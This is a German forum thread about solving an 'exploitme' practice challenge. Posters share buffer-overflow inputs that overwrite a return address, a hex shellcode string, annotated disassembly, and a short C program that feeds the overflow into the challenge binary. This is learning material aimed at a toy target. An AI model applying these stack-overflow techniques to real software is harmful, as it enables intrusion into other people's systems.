exploitme #1

So, habe mich auch mal daran gewagt ein Exploitme zu Schreiben.
Regeln:

-kein Patchen (es dürfen keine Veränderungen am Programm vorgenommen werden)
-Die Erfolgsmeldung soll nur mithilfe der Tastatur aufgerufen werden

Viel Erfolg...
 
Code:
_grafix_xxxxxxxxxxxxxxxxxxxx;‼@

Die letzten 3 Bytes überschreiben eine Rücksprungadresse im Stack mit der der Erfolgsmeldung. Es hat mich leicht verwirrt, dass die Funktion, die schließlich wirklich aufgerufen wird, erst soweit hinten steht. Aber es hätte mir klar sein sollen...
Nachdem die Maximallänge des Puffers bekannt ist (ausprobieren bis wann das Programm fehlerfrei läuft), muss nur noch die gewünschte Sprungadresse angefügt werden.

EDIT: Die Anzeige des vorletzten Bytes scheint hier nicht hinzuhauen.
Denkt euch ein ALT+NUM19.
 
Ich hätte noch eine Alternativlösung zu bieten: Angenommen die Funktion um den String aufzurufen wäre nicht bereits im Programm vorhanden, dann Könnte man trotzdem noch mit diesem String ans Ziel kommen: (Hexcode)
Code:
68 21 24 51 11 26 81 2c 24 11 11 11 11 b8 f1 3b
51 11 2d 01 11 11 11 ff d0 90 90 41 58 ff 22

SKA!
Tom
 
Speicherüberfüllungen ... die Zweite !

Original von Grafix
Code:
_grafix_xxxxxxxxxxxxxxxxxxxx;‼@

Die letzten 3 Bytes überschreiben eine Rücksprungadresse im Stack mit der der Erfolgsmeldung.
EDIT: Die Anzeige des vorletzten Bytes scheint hier nicht hinzuhauen.
Denkt euch ein ALT+NUM19.
Nun ich hab's mal ausprobiert(meine erster eigene Speicherüberfüllung :] )
Die Adresse mit der Erfolgsmeldung ist die 0040132C
2C 13 40 00 als Bytes
; !! @ /0 Als A-C-zwei-I

Nur ist dabei auch zu beachten, das an vermeintlicher Adresse noch gecheckt wird ob das 2.Argument (ESP+8 ) 5 ist -> Sonst no_Welcome :(

0040132C PUSH EBP
0040132D MOV EBP, ESP
0040132F SUB ESP, 8
00401332 CMP [DWORD EBP+8], 5
00401336 JNZ SHORT <NoWelcome>

00401338 SUB ESP, 0C
0040133B PUSH 00401310 ; ASCII "Herzlichen Glueckwunsch!!!"
00401340 CALL <JMP.&msvcrt.printf>
00401345 ADD ESP, 10
00401348 <NoWelcome> CALL <JMP.&msvcrt.getchar>
0040134D SUB ESP, 0C
00401350 PUSH 0
00401352 CALL <JMP.&msvcrt.exit>

Daher beim 'Ret'urn besser mit 00401338 am 'Türsteher' vorbei springen. also nicht ';' sondern '8'

Code:
11111111222222223333333344448<ALT+NUM19>@
^- So damit kommt man rein. :)

Ein Stackegg ist natürlich auch eine Lösung so al la:
6A 05 PUSH 5
6A 05 PUSH 5
68 2C134000 PUSH 0040132C
C3 RETN
... dann ist die Fün'in'f ganz legitim auf der 'Rolle' und alles geht glatt.

Doch ups ..00 PUSH... Das geht soo nicht. Die 00 würde den String abschneiden. Da muss man mit drum rum p... ach nee so macht das keinen Spass, das mit den Stapelüberläufen ist ja wirklich eine elende Frimmelei und auch schon der Aufruf dieses Ei's ... mittels 'absoluter!!!' Stackadresse <aaghhrr>:evil: als Lieberhaber für 'wohlgeformten' , schlichtem, einfachen und soliden Kodes ist das wirklich arg.

Die Phase, wo man sich selbst mit Begeisterung für supergenialen ProgrammierTricks schließlich selbst ausgetrickst d.h. selber nicht mehr durchblickt, was man da fabriziert hat, ist da bei mit im Moment ganz schwach.
 
POOOOOOOOOH was seit denn ihr für freaks ich hab nichts verstanden :rolleyes:

also wie geht das nochmal ... wie baut man ein exploid und was üfr einen exploid hast du gemacht äh ja ... bitte kann mir das jemand erklären

ich interessiere mich für solche sachen.

ps: welche sprache ist das?^^
und mit welchem programm hast du das gemacht ?(
 
Also ...
- warscheinlich ist das Programm in C, Assembler geschrieben.
- zum bauen eines solchen Exploits/ Exploitme muss man wissen, was ein Bufferoverflow ist und warum er entsteht.
guck dazu auf Wikipedia:
http://de.wikipedia.org/wiki/Pufferüberlauf
( Englische Version finde ich besser )
- um die Lücke auszunutzen, versucht man durch viele Zeichen den Puffer grade nicht überlaufen zu lassenüberlaufen zu lassen.(also mit 111111112222222233333333444488 würde das Programm abstürzen.) In unserm Beispiel bei: 11111111222222223333333344448 stürzt es grade nicht ab.
Nun nimmt man einen Deassemblierer z.B. OLLYDBG und verfolgt das Programm und sucht die Funktion in Assembler, die die Erfolgsnachricht ausgibt. ( Adresse: 0040132C )
Jetzt, kann man mit ;&adresseinasci@ die Funktion aufrufen. ( steht aber auch alles auf Wikipedia )
zusammen ergibt das: 11111111222222223333333344448<ALT+NUM19>@
wobei alt num 19 für ‼ steht.

probiers paar mal, dann bekommst das auch hin. Ist sowiso eine Friemelei

MFG -=HKA=-

PS das heißt exploit ;)
 
Ich glaube kaum, dass man mit einer Step-by-Step Anleitung Spass an der Sache haben kann.
Wenn jemand schon sagt, dass er uns für Freaks hält, wird er nicht wirklich an den Hintergründen interessiert zu sein.
 
;) ich bin selber ein freak also wo liegt das problem ... mich haben nur diese zahlen usw erstaunt wie ihr da noch drauskommt...





hmm was bist du von beruf? ich meine das ganze lernt man doch nicht einfach so von selber ?(
 
[OT]Genau das bekommt man nicht in einem Beruf beigebracht.
Aber wenn man sich paar Monate mit dem Thema beschäftigt, sieht vieles auch nicht mehr nach Hexerei aus ;) [/OT]
 
Original von CDW
[OT]Genau das bekommt man nicht in einem Beruf beigebracht.
Aber wenn man sich paar Monate mit dem Thema beschäftigt, sieht vieles auch nicht mehr nach Hexerei aus ;) [/OT]

hoffe ihr wirft mich nicht gleich raus ich habe keine ahnung wovon hier die meisten reden ;) also ich habe bis jetzt immer mit html php-> include etc gearbeitet ... und jetzt kommt ihr und fangt mit assembler exploids proxy usw an :D

noch nie zuvor gehört ;) also ja das werde ich schon irgendwann auch sogut können wie ihr 8)

aso sorry wenn ich manchmal ein bisschen noobfragen stelle :rolleyes: typische anfänger :D
 
schade, dass es schon so lange her ist, seit dem hier ein exploitme aufgetaucht ist, ich hab auchmal gelöst und ein exploit dazu gebastelt:

Code:
#include <windows.h>

int main(int argc, char *argv[]) {
    char exploit[500];
    char ret[] = "\x13\x40";
    char overflow[] = "echo AAAABBBBCCCCDDDDEEEEFFFFGGGG8";
    strcpy(exploit, overflow);
    strcat(exploit, ret);
    strcat(exploit, "| exploitme.exe");
    system(exploit);
    return 0;
}

ist zwar nicht der erwünschte "tastaturweg" aber mit den vorher genannten ascii zeichen die man per ALT und tastatur eingeben kann wäre dies ja auch erfüllt.

würde mich freuen wenn ich hier öfters exploitme's sehen könnte


mfg
 
Zurück
Oben